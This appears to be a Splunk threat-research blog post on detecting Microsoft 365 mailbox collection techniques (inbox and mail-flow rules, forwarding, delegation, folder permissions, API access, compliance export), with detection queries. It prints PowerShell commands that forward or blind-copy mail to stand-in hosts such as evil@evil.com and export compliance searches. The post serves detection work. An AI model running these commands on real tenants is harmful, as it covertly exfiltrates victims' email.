Hunting M365 Invaders: Dissecting Email Collection Techniques

In our previous blog post, we delved into common initial access techniques targeting Microsoft 365 (M365) tenants and provided blue teams with comprehensive detection strategies to identify them. For a robust M365 detection strategy, defenders should complement these capabilities and account for post-exploitation tactics, enabling them to hunt for adversaries who have an active foothold on the environment and are looking to achieve their objectives.

Collection consists of the techniques adversaries execute for obtaining access to information of interest to their goal. In the realm of M365, collection can be interpreted as unauthorized access to the victim's organization mailboxes, a critical step for gathering sensitive communications. M365 was built on the foundations of Exchange, a platform that historically offered multiple mechanisms for user mailbox access. This functionality, while intended for legitimate use, also opens avenues for abuse. 

Adversaries who have gained access to an M365 tenant might exploit these features, enabling them to monitor mailbox communications. In this blog post, the Splunk Threat Research Team describes various methods attackers may leverage to monitor mailboxes, how to simulate them and how teams can detect them using Splunk’s out-of-the-box security content.

Simulation Considerations

To effectively identify detection opportunities, simulating attack techniques is essential, allowing us to gather and analyze attack patterns in the produced telemetry. In the context of M365, attackers have several methods for interacting with Exchange Online (EOL) and executing these techniques. As defenders, it’s vital to understand these methods so you can accurately simulate various attack scenarios. Getting this insight is crucial for understanding the subtle differences in attack methods.

Access Vectors

Equipped with cleartext credentials from a phishing or password spraying campaign, stolen JWT tokens via desktop malware, or browser session cookies through Adversary-in-the-Middle (AiTM) attacks, adversaries may choose a different vector to interact with EOL based on the access type obtained, tailoring their approach to execute techniques.

Web Access

This method involves attackers using web interfaces such as Outlook Web App (OWA), the Exchange Admin Center or the Purview Compliance Portal for malicious purposes. While OWA allows low privileged users direct interaction with email content through a browser, the Exchange Admin Center and Compliance Portal, accessible only by those with privileged access, can be abused to configure mailbox settings or permissions across the tenant.

Outlook Client

The Outlook Client is primarily used by users to access their own M365 mailboxes. It primarily uses MAPI over HTTP as its transport protocol. Unlike other methods, which allow broader administrative controls over multiple accounts, attackers who obtain interactive access to an Outlook Client are limited to managing the email of the signed-in user.

EOL PowerShell Module

The EOL PowerShell module provides both administrators and regular users with a script-based interface to manage mailbox settings and perform specific operations. While administrators can use it for broad management tasks, users can authenticate to modify settings within their own mailboxes. Adversaries can exploit this module, abusing compromised authentication material to perform a range of unauthorized activities. 

Exchange Web Services

Exchange Web Services (EWS) is a robust SOAP-based API that allows interaction with EOL, offering a comprehensive suite of functionalities for managing mailboxes. It stands out for its wide range of features, making it a potent tool for administrators and users with sufficient permissions. This API can also be a target for adversaries looking to exploit its extensive access to organizational communications.

Microsoft Graph 

Microsoft Graph is a RESTful web API that enables both regular users and administrators to interact with the Microsoft Cloud services, including M365 and EOL. While not as feature-rich as EWS for mailbox management, it allows for a broad range of actions, from reading and sending emails to configuring mailbox settings. Adversaries with the right permissions could abuse this API to access sensitive emails.

Techniques

In this section, we explore EOL features attackers with low privileged or administrator access can abuse to obtain unauthorized access to mailbox communications. 

To ensure a comprehensive understanding of each technique, we simulated them using every applicable method mentioned in the previous section. This approach has allowed us to capture a variety of log types, highlighting the need for comprehensive simulations when crafting detection strategies. For each technique, we will present a table that highlights the methods we successfully employed to simulate the attacks. Following the tables, descriptions will provide insights into the simulation process, telemetry captured, and detection opportunities.

All described analytics can be found at our site research.splunk.com, specifically within the Office 365 Collection Techniques analytic story.

Inbox Rules

Inbox rules let users automate actions on incoming emails when they match specific criteria, such as containing certain words in the subject line or coming from a particular sender. These actions can include moving messages to designated folders, marking them as read, or forwarding them to external addresses. These rules present an avenue for adversaries to discreetly manipulate email flow. Business email compromise (BEC) actors commonly rely on this technique to collect information about their targets.

Simulation

The table below outlines the methods we used to simulate creating and modifying inbox rules (green = yes, red = no). We will skip the details on straightforward methods, such as using a web browser and the Outlook client, and focus on the more technically interesting methods.

Using the Graph API, adversaries can leverage the /mailFolders/inbox/messageRules endpoint to create inbox rules. The messageRuleActions parameter specifies the actions, with the most pertinent ones being forwardAsAttachmentTo, forwardTo, and redirectTo. Similarly, with EWS, attackers may exploit the UpdateInboxRules SOAP operation to create, set, or delete an inbox rule. You can access the python simulation scripts we developed at create_inbox_rule_graph.py and create_inbox_rule_ews.py.

Using the EOL PowerShell module, adversaries can employ the New-InboxRule and Set-InboxRule cmdlets to create or modify inbox rules. Similar to the Graph API, the parameters RedirectTo, ForwardTo, and ForwardAsAttachmentTo are key for creating forwarding rules.

New-InboxRule  -Name evilRule -BodyContainsWords wire -RedirectTo malicious@evil.com

Set-InboxRule -Identity evilRule -BodyContainsWords invoice -ForwardTo evil@evil.com

Telemetry Insights

Simulating this technique through various methods revealed that different operations are triggered in the Unified Audit Log depending on the approach used. We have identified that an effective detection strategy should monitor for three specific operations:“New-InboxRule”, “Set-InboxRule”—both of which share a similar schema—and “UpdateInboxRules”. 

^{Figure 1.1 Set-InboxRule Operation From The UAL}

In the “New-InboxRule” and “Set-InboxRule” log events, the “Parameters” object details specific settings of the rule, such as “ForwardTo”. By focusing on such settings within “Parameters”, we can pinpoint rules that facilitate forwarding emails. In the “UpdateInboxRules” log event, the “OperationProperties” object holds the critical information. This includes actions like “ForwardToRecipientsAction”, providing us with the necessary details to filter and identify email forwarding inbox rules.

^{Figure 1.2 UpdateInboxRules Operation From The UAL}

Detection Opportunities

O365 New Email Forwarding Rule Created

`o365_management_activity` (Operation=New-InboxRule OR Operation=Set-InboxRule)
  | eval match1=mvfind('Parameters{}.Name', "ForwardTo")
  | eval match2=mvfind('Parameters{}.Name', "ForwardAsAttachmentTo")
  | eval match3=mvfind('Parameters{}.Name', "RedirectTo")
  | where match1>= 0 OR match2>= 0 OR match3>= 0
  | eval ForwardTo=coalesce(ForwardTo, ForwardAsAttachmentTo, RedirectTo)
  | stats count min(_time) as firstTime max(_time) as lastTime values(Name) as Name by user Operation ForwardTo
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

O365 New Email Forwarding Rule Enabled

`o365_management_activity` Workload=Exchange Operation=UpdateInboxRules 
  | eval match1=mvfind('OperationProperties{}.Value', "ForwardToRecipientsAction")
  | eval match2=mvfind('OperationProperties{}.Value', "ForwardAsAttachmentToRecipientsAction")
  | eval match3=mvfind('OperationProperties{}.Valuee', "RedirectToRecipientsAction")
  | eval index = mvfind('OperationProperties{}.Name', "ServerRule")
  | where match1>= 0 OR match2>= 0 OR match3>= 0
  | eval ServerRule = mvindex('OperationProperties{}.Value', index-1)
  | spath input=ServerRule path=Actions{}.Recipients{}.Values{}.Value output=valueExtracted
  | mvexpand valueExtracted
  | search valueExtracted="*@*.*"
  | eval ForwardTo=if(match(valueExtracted, "^[^@]+@[^@]+\\.[^@]+$"), valueExtracted, null)
  | dedup ForwardTo
  | where isnotnull(ForwardTo)
  | stats count min(_time) as firstTime max(_time) as lastTime values(Name) as Name by user Operation ForwardTo
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

Mailbox Forwarding

Mailbox email forwarding allows users and administrators to forward all incoming mail to another user's mailbox in or outside the organization. Different from inbox rules, which apply specific conditions to emails before taking the specified actions, mailbox forwarding operates at a broader level, indiscriminately sending all incoming emails to a specified address. Adversaries who obtain low privileged or privileged access may abuse this feature to obtain access to sensitive emails.

Simulation

The table below outlines the methods we used to simulate mailbox forwarding. We’ll skip the details on straightforward methods, such as using a web browser, and focus on the more technically interesting method: the EOL PowerShell module

Using the EOL PowerShell module, adversaries can use the Set-Mailbox cmdlet to configure forwarding on a mailbox. The two key parameters involved are ForwardingAddress, which specifies a recipient within the organization, and ForwardingSmtpAddress, which specifies an external recipient.

Set-Mailbox -Identity mauricio@splunkresearch.com -ForwardingSmtpAddress evil@evil.com

Telemetry Insights

Configuring email forwarding on a mailbox across the different identified methods always results in a Set-Mailbox operation triggered in the Unified Audit Log. Of particular interest are the  ForwardingAddress and ForwardingSmtpAddress fields within the Parameters object. Using these fields allow us to identify the recipient address and filter out mailbox changes that do not involve email forwarding.

^{Figure 1.3 Set-Mailbox Operation From The UAL}

The AppId field reveals the method used by the adversary, distinguishing between browser-based actions (00000006-0000-0ff1-ce00-000000000000 or 497effe9-df71-4043-a8bb-14cf78c4b63b) and those conducted via the EOL PowerShell module (fb78d390-0c51-40cd-8e17-fdbfab77341b). Furthermore, the UserId field can help us identify the user who performed the change. In the case of an administrator performing the change, it is the ObjectId field that allows us to identify the changed mailbox.

Detection Opportunities

O365 Mailbox Email Forwarding Enabled

`o365_management_activity` Operation=Set-Mailbox 
  | eval match1=mvfind('Parameters{}.Name', "ForwardingAddress")
  | eval match2=mvfind('Parameters{}.Name', "ForwardingSmtpAddress")
  | where match1>= 0 OR match2>= 0
  | eval ForwardTo=coalesce(ForwardingAddress, ForwardingSmtpAddress)
  | search ForwardTo!="" 
  | stats count dc(src_user) AS count_src_user earliest(_time) as firstTime latest(_time) as lastTime values(src_user) AS src_user values(DeliverToMailboxAndForward) as DeliverToMailboxAndForward values(ForwardTo) as ForwardTo by user_id ObjectId
  |`security_content_ctime(firstTime)` 
  |`security_content_ctime(lastTime)`

Mailbox Delegation 

Mailbox delegation in EOL allows users and administrators to grant permissions to other users, known as delegates, enabling delegates to send messages on the mailbox owner’s behalf or to gain comprehensive access to their mailbox. This feature, while facilitating administrative efficiency, also poses a risk if permissions are not properly audited. Adversaries who successfully gain access to an M365 environment can abuse mailbox delegation to access a victim’s mailbox.

Simulation

The table below outlines the methods we used to simulate configuring mailbox delegation.

Using the EOL PowerShell module, adversaries can use the Add-MailboxPermission commandlet to configure mailbox delegation. This action can only be performed by an administrator, as our testing confirmed that a regular user cannot manage the permissions of their own mailbox. The most relevant parameter is AccessRights, which defines the levels of permissions assigned to the delegate. Through our experimentation, we identified that access rights such as FullAccess, ChangePermission, and ChangeOwner could potentially facilitate unauthorized access to a mailbox

Add-MailboxPermission -Identity mauricio@splunkresearch.com -User attacker@splunkresearch.com -AccessRights ChangeOwner

Telemetry Insights

When managing mailbox permissions, the Unified Audit log records an "Add-MailboxPermission" operation event. A key detail in this event is the "AccessRights" field within the "Parameters" object, which specifies the granted permissions. By focusing on this event, specifically the "AccessRights" field, defenders can effectively track and scrutinize mailbox delegations, particularly those granting extensive rights that could enable reading the target's mailbox. Similar to the other techniques, the “AppId” can reveal whether the change was performed using the Exchange Admin Center or the PowerShell module.

^{Figure 1.4 Add-MailboxPermission Operation From The UAL}

Detection Opportunities

O365 Elevated Mailbox Permission Assigned

`o365_management_activity` Workload=Exchange Operation=Add-MailboxPermission 
  | search (AccessRights=FullAccess OR AccessRights=ChangePermission OR AccessRights=ChangeOwner)
  | rename User AS src_user, Identity AS dest_user 
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by user src_user dest_user Operation AccessRights
  |`security_content_ctime(firstTime)` 
  |`security_content_ctime(lastTime)`

Mailbox Folder Permissions

Mailbox folder permissions in EOL introduce another layer of granularity in email management, allowing users and administrators to fine-tune who can view or modify the contents of specific folders within a mailbox. Just like broader mailbox permissions, this flexible feature can be abused for email collection. If not properly monitored, it could allow adversaries to discreetly monitor email communications, posing a significant risk to data security. APT29 leveraged this technique for email collection as reported by Mandiant.

Simulation

The table below outlines the methods we used to simulate modifying mailbox folder permissions. We’ll skip the details on the web browser and Outlook client methods to focus on EWS and PowerShell.

Using EWS, adversaries may abuse the UpdateFolder SOAP operation to modify the permissions of a specific folder. To simulate this approach, we wrote a script, modify_folder_permissions_ews.py, that first uses the GetFolder operation to obtain the unique folder ID, followed by the UpdateFolder operation to update the permissions. 

Similarly, with the EOL PowerShell module, attackers may use the Add-MailboxFolderPermission and Set-MailboxFolderPermission cmdlets. The critical parameter, similar to mailbox delegation, is AccessRights, which specifies the individual permissions that can be assigned.

Add-MailboxFolderPermission -Identity mauricio@splunkresearch.com:\Inbox -User herman@splunkresearch.com -AccessRights Author

Telemetry Insights

There are two relevant event types worth monitoring: assigning new mailbox folder permissions to a user and altering existing permissions for a user. This distinction provides coverage for scenarios like the one leveraged by APT29, who modified the permission of the “Default” user, effectively extending these permissions across all users.

Based on the method employed, four distinct event types can be triggered when running this technique: “ModifyFolderPermissions”, “AddMailboxFolderPermissions”, “Set-MailboxFolderPermission” and “Add-MailboxFolderPermission” in the Unified Audit Log.

^{Figure 1.5 AddFolderPermissions Operation From The UAL}

The different event types triggered by permission changes in mailbox folders come with distinct schemas. For ModifyFolderPermissions and AddMailboxFolderPermissions, the permissions assigned are detailed in the "Item.ParentFolder.MemberRights" field, with the folder name indicated by "Item.ParentFolder.Name." 

Conversely, for Add-MailboxFolderPermissions and Set-MailboxFolderPermissions, "AccessRights" describes the assigned permissions, and the "Identity" field contains the folder's name. Recognizing these schema differences is crucial for crafting targeted detection strategies, enabling more precise monitoring and response actions.

^{Figure 1.6 Set-MailboxFolderPermission Operation From The UAL}

Detection Opportunities

O365 Mailbox Folder Read Permission Granted

`o365_management_activity` Workload=Exchange (Operation="Set-MailboxFolderPermission" OR Operation="Add-MailboxFolderPermission" )
  | eval isReadRole=if(match(AccessRights, "^(ReadItems|Author|NonEditingAuthor|Owner|PublishingAuthor|Reviewer)$"), "true", "false") 
  | search isReadRole="true"
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, UserId, Identity, AccessRights, User 
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

O365 Mailbox Folder Read Permission Assigned

`o365_management_activity` (Operation=ModifyFolderPermissions OR Operation=AddFolderPermissions) Workload=Exchange object!=Calendar object!=Contacts object!=PersonMetadata
  | eval isReadRole=if(match('Item.ParentFolder.MemberRights', "(ReadAny)"), "true", "false") 
  | search isReadRole = "true"
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, UserId, object, Item.ParentFolder.MemberUpn, Item.ParentFolder.MemberRights
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

O365 Mailbox Inbox Folder Shared with All Users

`o365_management_activity` Operation=ModifyFolderPermissions Workload=Exchange object=Inbox Item.ParentFolder.MemberUpn=Everyone
  | eval isReadRole=if(match('Item.ParentFolder.MemberRights', "(ReadAny)"), "true", "false") 
  | search isReadRole = "true"
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, UserId, object, MailboxOwnerUPN, Item.ParentFolder.MemberUpn, Item.ParentFolder.MemberRights
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

API Mailbox Access

EOL provides system administrators with APIs like EWS and the Microsoft Graph API for streamlined mailbox management. With the right privileges in place, adversaries can abuse these powerful tools to gain varied levels of unauthorized email access. An example of this is the Midnight Blizzard breach, in which actors leveraged the full_access_as_app role to access mailboxes using EWS. Such breaches underscore the need to continuously monitor API interactions to promptly flag anomalous mailbox access and protect sensitive information.

Simulation

The table below outlines the methods we used to simulate unauthorized API access to mailboxes.

Using the Microsoft Graph API, adversaries can access and read emails from an M365 mailbox, using the /messages endpoint to retrieve emails from a user's mailbox. By leveraging the Mail.Read permissions, we wrote a Python script,  read_email_graph.py, to simulate this technique.

Similarly, with EWS attackers may use the FindItem and GetItem SOAP operations to read emails. The first allows adversaries to locate emails based on specific criteria, while adversaries can use the second to retrieve the full details of the emails identified. To simulate this method, we wrote the Python script read_email_ews.py

Telemetry Insights

The “MailItemsAccessed” operation is logged whenever emails are accessed in an M365 mailbox, offering critical insights for detection. The “AppID” field within these logs is especially valuable, as it specifies the access method. By filtering for this field, we can identify instances where the Graph API (AppId=00000003-0000-0000-c000-000000000000) is used to read emails. When we simulated this technique with EWS, we observed the appearance of an unexpected AppId (47629505-c2b6-4a80-adb1-9b3a3d233b7b), which intriguingly is not listed in Microsoft's official documentation for commonly used applications. 

Detection Opportunities

O365 OAuth App Mailbox Access via EWS

`o365_management_activity` Workload=Exchange Operation=MailItemsAccessed AppId=* ClientAppId=*
  | regex ClientInfoString="^Client=WebServices;ExchangeWebServices"
  |  stats count earliest(_time) as firstTime latest(_time) as lastTime values(ClientIPAddress) as src_ip by user ClientAppId OperationCount AppId ClientInfoString
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

O365 OAuth App Mailbox Access via Graph API

`o365_management_activity` Workload=Exchange Operation=MailItemsAccessed AppId=* AppId=00000003-0000-0000-c000-000000000000
  |  stats count earliest(_time) as firstTime latest(_time) as lastTime values(ClientIPAddress) by user ClientAppId OperationCount AppId
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)`

O365 Multiple Mailboxes Accessed via API

`o365_management_activity` Workload=Exchange Operation=MailItemsAccessed AppId=* ClientAppId=* 
  | bucket span=10m _time
  | eval matchRegex=if(match(ClientInfoString, "^Client=WebServices;ExchangeWebServices"), 1, 0) 
  | search (AppId="00000003-0000-0000-c000-000000000000" OR matchRegex=1)
  | stats values(ClientIPAddress) as src_ip dc(user) as unique_mailboxes values(user) as user by _time ClientAppId ClientInfoString
  | where unique_mailboxes > 5

Compliance Content Search & Export

The Microsoft Purview compliance solutions in Microsoft 365 equip administrators with powerful tools to search and export emails through keyword searches, enabling oversight of organizational communications for compliance. While designed as an audit feature to support compliance requirements, this capability also presents a significant risk if controlled by attackers. Adversaries who gain privileged access to an M365 tenant could exploit these features to conduct broad searches for sensitive information. 

Simulation

The table below outlines the methods we used to simulate performing compliance content searches and exports.

Adversaries with appropriate access can leverage the Compliance Center in M365 to abuse features intended for regulatory and compliance verification. Using the EOL PowerShell module, attackers can employ the New-ComplianceSearch and Start-ComplianceSearch cmdlets to initiate a compliance search. Parameters such as ExchangeLocations and ContentMatchQuery are crucial, as they define the scope of the search and specify the content to search for. Once the search is configured and running, the New-ComplianceSearchAction cmdlet can be used to export the results.

New-ComplianceSearch -Name "evil search"  ExchangeLocation "All" -ContentMatchQuery "confidential”
Start-ComplianceSearch -Identity "evil search" 
New-ComplianceSearchAction -SearchName "evil search" -Export

Telemetry Insights

Initiating or exporting a content search through the Purview Compliance portal or via the PowerShell EOL module results in the logging of “SearchStarted” and “SearchExported” events respectively in the Unified Audit Log. The “ExchangeLocations” and “Query” fields within these logs are of interest for detection efforts. “ExchangeLocations” details the mailboxes targeted by the search, while “Query” reveals the specific parameters and keywords used. By analyzing these fields, detection engineers can develop targeted analytics aimed at identifying broad searches or searches that may be probing for sensitive or confidential information.

^{Figure 1.7 SearchCreated Operation From The UAL}

Detection Opportunities

O365 Compliance Content Search Started

`o365_management_activity` Workload=SecurityComplianceCenter Operation=SearchCreated
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, ObjectId, ExchangeLocations, user_id, Query
  |`security_content_ctime(firstTime)` 
  |`security_content_ctime(lastTime)`

O365 Compliance Content Search Exported

`o365_management_activity`  Workload=SecurityComplianceCenter Operation="SearchExported"
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, ObjectId, ExchangeLocations, user_id, Query
  |`security_content_ctime(firstTime)` 
  |`security_content_ctime(lastTime)`

Mail Flow Rules 

Mail flow rules, also known as transport rules, are a management feature in M365 that allow administrators to control how emails are processed and delivered within an organization. Unlike inbox rules, which operate on a user level, mail flow rules can apply conditions, exceptions, and actions on a wider scale and are managed only by administrators. While designed to optimize and secure email flow, these rules can also be exploited by attackers. Adversaries might use mail flow rules to redirect or copy emails, enabling them to discreetly collect sensitive information.

Simulation

The table below outlines the methods we used to simulate creating mail flow rules.

Using the EOL PowerShell module, attackers can manipulate the New-TransportRule commandlet to create mail flow rules that could compromise email security. Our analysis identified four actions within this cmdlet that are particularly concerning, as they may facilitate the unauthorized forwarding of emails to third parties. These actions are RedirectMessageTo, AddToRecipients, BlindCopyTo, and CopyTo.

New-TransportRule -Name legitimate -BlindCopyTo attacker@evil.com

Telemetry Insights

When Mail Flow rules are established via the Exchange Admin Center or through the PowerShell EOL module, the action triggers a “New-TransportRule” operation within the Unified Audit Log. These rules may contain a variety of actions, detailed in the “Parameters” object of the log entry. To identify potentially malicious rules, detection engineers can filter these logs for actions indicative of email interception or redirection. This focused approach helps identify Mail Flow rules that attackers could exploit to acquire copies of email communications.

^{Figure 1.8 New-TransportRule Operation From The UAL}

Detection Opportunities

O365 New Forwarding Mailflow Rule Created

`o365_management_activity` Operation="New-TransportRule"
  | eval match1=mvfind('Parameters{}.Name', "BlindCopyTo")
  | eval match2=mvfind('Parameters{}.Name', "CopyTo")
  | eval match3=mvfind('Parameters{}.Name', "RedirectMessageTo")
  | where match1>= 0 OR match2>= 0 OR match3>=0
  | eval ForwardTo=coalesce(BlindCopyTo, CopyTo, RedirectMessageTo)
  | search ForwardTo!="" 
  | stats count earliest(_time) as firstTime latest(_time) as lastTime by Operation, UserId, Name, ForwardTo
  | `security_content_ctime(firstTime)`
  | `security_content_ctime(lastTime)` 

Final Thoughts

Throughout this blog, we explored various techniques adversaries may use to exploit M365 environments, particularly focusing on unauthorized mailbox access. Our simulations underscore the necessity of thorough testing to identify all possible scenarios in which these techniques can be executed. This enables the development of more comprehensive and effective detection strategies that enable defenders to prevent potential security breaches.

For further details on Office 365 collection techniques, visit our Splunk Threat Research site. Happy hunting!

Learn More

Visit research.splunk.com to view the Splunk Threat Research Team's complete security content repository. You can implement this content using the Enterprise Security Content Updates app or the Splunk Security Essentials app.

We would like to thank Mauricio Velazco for authoring this post and the entire Splunk Threat Research Team for their contributions.